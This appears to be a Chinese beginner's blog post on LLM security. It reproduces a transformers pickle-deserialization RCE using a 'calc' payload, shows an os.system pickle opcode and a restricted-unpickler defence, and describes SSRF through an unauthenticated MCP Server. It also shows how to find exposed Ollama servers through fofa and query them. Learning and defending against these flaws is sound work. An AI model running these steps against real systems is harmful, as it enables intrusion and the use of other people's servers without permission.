大模型安全初探

前言

最近在关注LLM Security,发现网上文章偏理论, 缺乏漏洞落地和利用,以及对应的防御方案,让我甚是苦恼。
所幸,最终发现了360研究院发布的《大模型安全漏洞报告》,其中关键点是对大模型自身的安全立了框架,将其分为模型层、框架层和应用层,笔者以一个初学者的角度,根据这个框架,辅以一些实际的漏洞demo进行学习和理解。

模型层

模型层安全问题

  • 数据投毒 :例如在开源平台发布携带虚假标签数据的训练集,从而影响模型的判断。
  • 数据泄露:常见的 prompts 注入,泄露系统提示词以及其他信息
  • 模型后门:将后门模型发布在hugging-face上,通过特定提示词可以触发攻击者预设的结果。
  • 对抗攻击:小幅修改输入数据,使得模型产生错误预测。

这一部分没办法实践,缺乏实际的模型训练经验。

框架层

框架层安全问题:

  • 处理不可信数据:例如 transforms 不止一次爆出了反序列化漏洞,本质是加载不可信数据导致的 pickle 反序列化。
  • 分布式场景下的安全问题:llamma.cpp、Horovod、Ray,这个我没看。

transformer 反序列化 RCE

transformer <= 4.38.0( CVE-2024-3568 )存在 checkpoints 反序列化漏洞,本质是 pickle 反序列化。

1
2
3
4
5
6
git clone git@github.com:llm-sec/huggingface-hacker.git 
cd huggingface-hacker && uv .
uv pip install transformers==4.37.2
uv pip install tensorflow==2.15.0
python main.py --directory ./rce-checkpoint --model bert-base-uncased --command 'calc'
python ./vul.py

vul.py 漏洞环境代码

title:"vul.py"
1
2
3
4
5
6
7
8
from tensorflow.keras.optimizers import Adam
from transformers import TFAutoModel

model = TFAutoModel.from_pretrained('bert-base-uncased')
model.compile(optimizer=Adam(learning_rate=5e-5), loss='sparse_categorical_crossentropy', metrics=['accuracy'])

## 把参数修改为checkpoint文件夹名
model.load_repo_checkpoint('rce-checkpoint')

成功弹出计算器

防御措施:对于pickle反序列化漏洞,一是不要反序列化不可信的第三方数据,二是就是通过重写Unpickler.find_class()来限制全局变量,达到 hook 的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import builtins
import io
import pickle

safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

#重写了find_class方法
def find_class(self, module, name):
## Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
## Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)


###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

应用层

应用层安全问题:

  • 本质上和传统的Web安全没什么区别,照样是SQL注入、RCE、API泄露等。
  • MCP Server:可能存在接口未授权,example 样例是有这个问题的,具体得看 MCP Server 的实现。
  • ollama:api未授权导致公网模型可以被薅羊毛,直接用 chatboxai 即可链接使用。

MCP Server 接口未授权

MCP 即 Model Context Protocol 模型上下文协议,简单理解就是在 LLM数据源之间加了一个标准化的中间层,也就是我们的 MCP Server。

Why MCP?这里通常和 Function Call 做比较,其实他们在功能点上并无太大差异,主要是 MCP 实现了标准化,每个数据源提供各自的统一接口(MCP Server),LLM只需要实现一个接口(MCP Client)即可和任意的数据源做交互,简化了交互的复杂程度。一图胜千言:

MCP Server 本质上就是一个 TypeScript / Python /Java 编写的一个 Web 服务,所以也会存在对应的Web安全问题。MCP Server 目前存在两种 transport: stdio 和 sse,简单理解就是一个本地子进程调用,一个远程调用。

[Firebasky](Firebasky (Firebasky)) 师傅在星球提到 Python MCP Server 在 transport = sse 的时候,会统一暴露 8000 端口,并且 api 接口没有做鉴权或其他防护,这就意味着如果公网存在类似的 MCP Server,则可构造 API 调用 MCP Server 的功能,由于MCP Server 的代码是开源的,根据 Server 源码构造 Payload 显然并非难事。

这里以 python-sdk 里的 demo 为例,server.py 里存在访问网站的功能,自行构造 clinet.py ,可以实现 SSRF。

可以看到,SSE的模式下,不需要任何鉴权即可调用 Server API,这个服务器肯定要加鉴权的。

java SDK 在样例中给出如何在 SSE 模式下给 api 添加权限的校验,使用的是 OAuth2,需要考虑一下每次调用工具都要验证,这个开销问题如何解决。

至于 TS 的 Server,目前还搞不明白,环境没搭好,这个得看一下 typescript 的项目搭建。

防御措施:对于必须远程部署的server,可以尝试白名单ip访问,同时添加权限校验。

ollama 接口未授权

这个直接 fofa 远程搜索进行复现:app="Ollama", 先 /api/tags 查找模型,然后尝试查询:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/chat HTTP/1.1
Host: xxx.xxx.xxx.xxx:11434
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/json

{
"model":"deepseek-r1:1.5b",
"messages":[
{
"role":"assistant",
"content":"who are you bro?"
}
],
"stream":false
}

防御措施:禁止任意公网IP访问、采用 IP 白名单、添加 OAuth2等

参考链接